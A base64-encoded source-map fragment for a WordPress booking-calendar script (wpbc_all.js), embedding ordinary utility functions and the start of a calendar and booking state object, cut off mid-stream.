NBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUN6T0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQ2haQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EiLCJmaWxlIjoid3BiY19hbGwuanMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcclxuICogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAqIEphdmFTY3JpcHQgVXRpbCBGdW5jdGlvbnNcdFx0Li4vaW5jbHVkZXMvX19qcy91dGlscy93cGJjX3V0aWxzLmpzXHJcbiAqID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG4gKi9cclxuXHJcbi8qKlxyXG4gKiBUcmltICBzdHJpbmdzIGFuZCBhcnJheSBqb2luZWQgd2l0aCAgKCwpXHJcbiAqXHJcbiAqIEBwYXJhbSBzdHJpbmdfdG9fdHJpbSAgIHN0cmluZyAvIGFycmF5XHJcbiAqIEByZXR1cm5zIHN0cmluZ1xyXG4gKi9cclxuZnVuY3Rpb24gd3BiY190cmltKCBzdHJpbmdfdG9fdHJpbSApe1xyXG5cclxuICAgIGlmICggQXJyYXkuaXNBcnJheSggc3RyaW5nX3RvX3RyaW0gKSApe1xyXG4gICAgICAgIHN0cmluZ190b190cmltID0gc3RyaW5nX3RvX3RyaW0uam9pbiggJywnICk7XHJcbiAgICB9XHJcblxyXG4gICAgaWYgKCAnc3RyaW5nJyA9PSB0eXBlb2YgKHN0cmluZ190b190cmltKSApe1xyXG4gICAgICAgIHN0cmluZ190b190cmltID0gc3RyaW5nX3RvX3RyaW0udHJpbSgpO1xyXG4gICAgfVxyXG5cclxuICAgIHJldHVybiBzdHJpbmdfdG9fdHJpbTtcclxufVxyXG5cclxuLyoqXHJcbiAqIENoZWNrIGlmIGVsZW1lbnQgaW4gYXJyYXlcclxuICpcclxuICogQHBhcmFtIGFycmF5X2hlcmVcdFx0YXJyYXlcclxuICogQHBhcmFtIHBfdmFsXHRcdFx0XHRlbGVtZW50IHRvICBjaGVja1xyXG4gKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfaW5fYXJyYXkoIGFycmF5X2hlcmUsIHBfdmFsICl7XHJcblx0Zm9yICggdmFyIGkgPSAwLCBsID0gYXJyYXlfaGVyZS5sZW5ndGg7IGkgPCBsOyBpKysgKXtcclxuXHRcdGlmICggYXJyYXlfaGVyZVsgaSBdID09IHBfdmFsICl7XHJcblx0XHRcdHJldHVybiB0cnVlO1xyXG5cdFx0fVxyXG5cdH1cclxuXHRyZXR1cm4gZmFsc2U7XHJcbn1cclxuIiwiXCJ1c2Ugc3RyaWN0XCI7XHJcbi8qKlxyXG4gKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cclxuICpcdGluY2x1ZGVzL19fanMvd3BiYy93cGJjLmpzXHJcbiAqID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG4gKi9cclxuXHJcbi8qKlxyXG4gKiBEZWVwIENsb25lIG9mIG9iamVjdCBvciBhcnJheVxyXG4gKlxyXG4gKiBAcGFyYW0gb2JqXHJcbiAqIEByZXR1cm5zIHthbnl9XHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2Nsb25lX29iaiggb2JqICl7XHJcblxyXG5cdHJldHVybiBKU09OLnBhcnNlKCBKU09OLnN0cmluZ2lmeSggb2JqICkgKTtcclxufVxyXG5cclxuXHJcblxyXG4vKipcclxuICogTWFpbiBfd3BiYyBKUyBvYmplY3RcclxuICovXHJcblxyXG52YXIgX3dwYmMgPSAoZnVuY3Rpb24gKCBvYmosICQpIHtcclxuXHJcblx0Ly8gU2VjdXJlIHBhcmFtZXRlcnMgZm9yIEFqYXhcdC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdHZhciBwX3NlY3VyZSA9IG9iai5zZWN1cml0eV9vYmogPSBvYmouc2VjdXJpdHlfb2JqIHx8IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0dXNlcl9pZDogMCxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0bm9uY2UgIDogJycsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdGxvY2FsZSA6ICcnXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgIH07XHJcblx0b2JqLnNldF9zZWN1cmVfcGFyYW0gPSBmdW5jdGlvbiAoIHBhcmFtX2tleSwgcGFyYW1fdmFsICkge1xyXG5cdFx0cF9zZWN1cmVbIHBhcmFtX2tleSBdID0gcGFyYW1fdmFsO1xyXG5cdH07XHJcblxyXG5cdG9iai5nZXRfc2VjdXJlX3BhcmFtID0gZnVuY3Rpb24gKCBwYXJhbV9rZXkgKSB7XHJcblx0XHRyZXR1cm4gcF9zZWN1cmVbIHBhcmFtX2tleSBdO1xyXG5cdH07XHJcblxyXG5cclxuXHQvLyBDYWxlbmRhcnMgXHQtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0dmFyIHBfY2FsZW5kYXJzID0gb2JqLmNhbGVuZGFyc19vYmogPSBvYmouY2FsZW5kYXJzX29iaiB8fCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIHNvcnQgICAgICAgICAgICA6IFwiYm9va2luZ19pZFwiLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBzb3J0X3R5cGUgICAgICAgOiBcIkRFU0NcIixcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gcGFnZV9udW0gICAgICAgIDogMSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gcGFnZV9pdGVtc19jb3VudDogMTAsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIGNyZWF0ZV9kYXRlICAgICA6IFwiXCIsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIGtleXdvcmQgICAgICAgICA6IFwiXCIsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIHNvdXJjZSAgICAgICAgICA6IFwiXCJcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiAgQ2hlY2sgaWYgY2FsZW5kYXIgZm9yIHNwZWNpZmljIGJvb2tpbmcgcmVzb3VyY2UgZGVmaW5lZCAgIDo6ICAgdHJ1ZSB8IGZhbHNlXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9IHJlc291cmNlX2lkXHJcblx0ICogQHJldHVybnMge2Jvb2xlYW59XHJcblx0ICovXHJcblx0b2JqLmNhbGVuZGFyX19pc19kZWZpbmVkID0gZnVuY3Rpb24gKCByZXNvdXJjZV9pZCApIHtcclxuXHJcblx0XHRyZXR1cm4gKCd1bmRlZmluZWQnICE9PSB0eXBlb2YoIHBfY2FsZW5kYXJzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF0gKSApO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqICBDcmVhdGUgQ2FsZW5kYXIgaW5pdGlhbGl6aW5nXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9IHJlc291cmNlX2lkXHJcblx0ICovXHJcblx0b2JqLmNhbGVuZGFyX19pbml0ID0gZnVuY3Rpb24gKCByZXNvdXJjZV9pZCApIHtcclxuXHJcblx0XHRwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdID0ge307XHJcblx0XHRwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnaWQnIF0gPSByZXNvdXJjZV9pZDtcclxuXHRcdHBfY2FsZW5kYXJzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bICdwZW5kaW5nX2RheXNfc2VsZWN0YWJsZScgXSA9IGZhbHNlO1xyXG5cclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiBDaGVjayAgaWYgdGhlIHR5cGUgb2YgdGhpcyBwcm9wZXJ0eSAgaXMgSU5UXHJcblx0ICogQHBhcmFtIHByb3BlcnR5X25hbWVcclxuXHQgKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuXHQgKi9cclxuXHRvYmouY2FsZW5kYXJfX2lzX3Byb3BfaW50ID0gZnVuY3Rpb24gKCBwcm9wZXJ0eV9uYW1lICkge1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogOS45LjAuMjlcclxuXHJcblx0XHR2YXIgcF9jYWxlbmRhcl9pbnRfcHJvcGVydGllcyA9IFsnZHluYW1pY19fZGF5c19taW4nLCAnZHluYW1pY19fZGF5c19tYXgnLCAnZml4ZWRfX2RheXNfbnVtJ107XHJcblxyXG5cdFx0dmFyIGlzX2luY2x1ZGUgPSBwX2NhbGVuZGFyX2ludF9wcm9wZXJ0aWVzLmluY2x1ZGVzKCBwcm9wZXJ0eV9uYW1lICk7XHJcblxyXG5cdFx0cmV0dXJuIGlzX2luY2x1ZGU7XHJcblx0fTtcclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIFNldCBwYXJhbXMgZm9yIGFsbCAgY2FsZW5kYXJzXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge29iamVjdH0gY2FsZW5kYXJzX29ialx0XHRPYmplY3QgeyBjYWxlbmRhcl8xOiB7fSB9XHJcblx0ICogXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0IGNhbGVuZGFyXzM6IHt9LCAuLi4gfVxyXG5cdCAqL1xyXG5cdG9iai5jYWxlbmRhcnNfYWxsX19zZXQgPSBmdW5jdGlvbiAoIGNhbGVuZGFyc19vYmogKSB7XHJcblx0XHRwX2NhbGVuZGFycyA9IGNhbGVuZGFyc19vYmo7XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogR2V0IGJvb2tpbmdzIGluIGFsbCBjYWxlbmRhcnNcclxuXHQgKlxyXG5cdCAqIEByZXR1cm5zIHtvYmplY3R8e319XHJcblx0ICovXHJcblx0b2JqLmNhbGVuZGFyc19hbGxfX2dldCA9IGZ1bmN0aW9uICgpIHtcclxuXHRcdHJldHVybiBwX2NhbGVuZGFycztcclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgY2FsZW5kYXIgb2JqZWN0ICAgOjogICB7IGlkOiAxLCDigKYgfVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSByZXNvdXJjZV9pZFx0XHRcdFx0ICAnMidcclxuXHQgKiBAcmV0dXJucyB7b2JqZWN0fGJvb2xlYW59XHRcdFx0XHRcdHsgaWQ6IDIgLOKApiB9XHJcblx0ICovXHJcblx0b2JqLmNhbGVuZGFyX19nZXRfcGFyYW1ldGVycyA9IGZ1bmN0aW9uICggcmVzb3VyY2VfaWQgKSB7XHJcblxyXG5cdFx0aWYgKCBvYmouY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkgKXtcclxuXHJcblx0XHRcdHJldHVybiBwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqIFNldCBjYWxlbmRhciBvYmplY3QgICA6OiAgIHsgZGF0ZXM6ICBPYmplY3QgeyBcIjIwMjMtMDctMjFcIjoge+KApn0sIFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCDigKYgfVxyXG5cdCAqXHJcblx0ICogaWYgY2FsZW5kYXIgb2JqZWN0ICBub3QgZGVmaW5lZCwgdGhlbiAgaXQncyB3aWxsIGJlIGRlZmluZWQgYW5kIElEIHNldFxyXG5cdCAqIGlmIGNhbGVuZGFyIGV4aXN0LCB0aGVuICBzeXN0ZW0gc2V0ICBhcyBuZXcgb3Igb3ZlcndyaXRlIG9ubHkgcHJvcGVydGllcyBmcm9tIGNhbGVuZGFyX3Byb3BlcnR5X29iaiBwYXJhbWV0ZXIsICBidXQgb3RoZXIgcHJvcGVydGllcyB3aWxsIGJlIGV4aXN0ZWQgYW5kIG5vdCBvdmVyd3JpdGUsIGxpa2UgJ2lkJ1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSByZXNvdXJjZV9pZFx0XHRcdFx0ICAnMidcclxuXHQgKiBAcGFyYW0ge29iamVjdH0gY2FsZW5kYXJfcHJvcGVydHlfb2JqXHRcdFx0XHRcdCAgeyAgZGF0ZXM6ICBPYmplY3QgeyBcIjIwMjMtMDctMjFcIjoge+KApn0sIFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCDigKYgfSAgfVxyXG5cdCAqIEBwYXJhbSB7Ym9vbGVhbn0gaXNfY29tcGxldGVfb3ZlcndyaXRlXHRcdCAgaWYgJ3RydWUnIChkZWZhdWx0OiAnZmFsc2UnKSwgIHRoZW4gIG9ubHkgb3ZlcndyaXRlIG9yIGFkZCAgbmV3IHByb3BlcnRpZXMgaW4gIGNhbGVuZGFyX3Byb3BlcnR5X29ialxyXG5cdCAqIEByZXR1cm5zIHsqfVxyXG5cdCAqXHJcblx0ICogRXhhbXBsZXM6XHJcblx0ICpcclxuXHQgKiBDb21tb24gdXNhZ2UgaW4gUEhQOlxyXG5cdCAqICAgXHRcdFx0ZWNobyBcIiAgX3dwYmMuY2FsZW5kYXJfX3NldCggIFwiIC5pbnR2YWwoICRyZXNvdXJjZV9pZCApIC4gXCIsIHsgJ2RhdGVzJzogXCIgLiB3cF9qc29uX2VuY29kZSggJGF2YWlsYWJpbGl0eV9wZXJfZGF5c19hcnIgKSAuIFwiIH0gKTtcIjtcclxuXHQgKi9cclxuXHRvYmouY2FsZW5kYXJfX3NldF9wYXJhbWV0ZXJzID0gZnVuY3Rpb24gKCByZXNvdXJjZV9pZCwgY2FsZW5kYXJfcHJvcGVydHlfb2JqLCBpc19jb21wbGV0ZV9vdmVyd3JpdGUgPSBmYWxzZSAgKSB7XHJcblxyXG5cdFx0aWYgKCAoIW9iai5jYWxlbmRhcl9faXNfZGVmaW5lZCggcmVzb3VyY2VfaWQgKSkgfHwgKHRydWUgPT09IGlzX2NvbXBsZXRlX292ZXJ3cml0ZSkgKXtcclxuXHRcdFx0b2JqLmNhbGVuZGFyX19pbml0KCByZXNvdXJjZV9pZCApO1xyXG5cdFx0fVxyXG5cclxuXHRcdGZvciAoIHZhciBwcm9wX25hbWUgaW4gY2FsZW5kYXJfcHJvcGVydHlfb2JqICl7XHJcblxyXG5cdFx0XHRwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXSA9IGNhbGVuZGFyX3Byb3BlcnR5X29ialsgcHJvcF9uYW1lIF07XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIHBfY2FsZW5kYXJzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF07XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogU2V0IHByb3BlcnR5ICB0byAgY2FsZW5kYXJcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcdFwiMVwiXHJcblx0ICogQHBhcmFtIHByb3BfbmFtZVx0XHRuYW1lIG9mIHByb3BlcnR5XHJcblx0ICogQHBhcmFtIHByb3BfdmFsdWVcdHZhbHVlIG9mIHByb3BlcnR5XHJcblx0ICogQHJldHVybnMgeyp9XHRcdFx0Y2FsZW5kYXIgb2JqZWN0XHJcblx0ICovXHJcblx0b2JqLmNhbGVuZGFyX19zZXRfcGFyYW1fdmFsdWUgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkLCBwcm9wX25hbWUsIHByb3BfdmFsdWUgKSB7XHJcblxyXG5cdFx0aWYgKCAoIW9iai5jYWxlbmRhcl9faXNfZGVmaW5lZCggcmVzb3VyY2VfaWQgKSkgKXtcclxuXHRcdFx0b2JqLmNhbGVuZGFyX19pbml0KCByZXNvdXJjZV9pZCApO1xyXG5cdFx0fVxyXG5cclxuXHRcdHBfY2FsZW5kYXJzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHByb3BfbmFtZSBdID0gcHJvcF92YWx1ZTtcclxuXHJcblx0XHRyZXR1cm4gcF9jYWxlbmRhcnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXTtcclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiAgR2V0IGNhbGVuZGFyIHByb3BlcnR5IHZhbHVlICAgXHQ6OiAgIG1peGVkIHwgbnVsbFxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSAgcmVzb3VyY2VfaWRcdFx0JzEnXHJcblx0ICogQHBhcmFtIHtzdHJpbmd9IHByb3BfbmFtZVx0XHRcdCdzZWxlY3Rpb25fbW9kZSdcclxuXHQgKiBAcmV0dXJucyB7KnxudWxsfVx0XHRcdFx0XHRtaXhlZCB8IG51bGxcclxuXHQgKi9cclxuXHRvYmouY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSA9IGZ1bmN0aW9uKCByZXNvdXJjZV9pZCwgcHJvcF9uYW1lICl7XHJcblxyXG5cdFx0aWYgKFxyXG5cdFx0XHQgICAoIG9iai5jYWxlbmRhcl9faXNfZGVmaW5lZCggcmVzb3VyY2VfaWQgKSApXHJcblx0XHRcdCYmICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAoIHBfY2FsZW5kYXJzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHByb3BfbmFtZSBdICkgKVxyXG5cdFx0KXtcclxuXHRcdFx0Ly9GaXhJbjogOS45LjAuMjlcclxuXHRcdFx0aWYgKCBvYmouY2FsZW5kYXJfX2lzX3Byb3BfaW50KCBwcm9wX25hbWUgKSApe1xyXG5cdFx0XHRcdHBfY2FsZW5kYXJzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHByb3BfbmFtZSBdID0gcGFyc2VJbnQoIHBfY2FsZW5kYXJzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHByb3BfbmFtZSBdICk7XHJcblx0XHRcdH1cclxuXHRcdFx0cmV0dXJuICBwX2NhbGVuZGFyc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXTtcclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gbnVsbDtcdFx0Ly8gSWYgc29tZSBwcm9wZXJ0eSBub3QgZGVmaW5lZCwgdGhlbiBudWxsO1xyXG5cdH07XHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcblxyXG5cdC8vIEJvb2tpbmdzIFx0LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdHZhciBwX2Jvb2tpbmdzID0gb2JqLmJvb2tpbmdzX29iaiA9IG9iai5ib29raW5nc19vYmogfHwge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIGNhbGVuZGFyXzE6IE9iamVjdCB7XHJcbiBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vXHRcdFx0XHRcdFx0ICAgaWQ6ICAgICAxXHJcbiBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vXHRcdFx0XHRcdFx0ICwgZGF0ZXM6ICBPYmplY3QgeyBcIjIwMjMtMDctMjFcIjoge+KApn0sIFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCDigKZcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqICBDaGVjayBpZiBib29raW5ncyBmb3Igc3BlY2lmaWMgY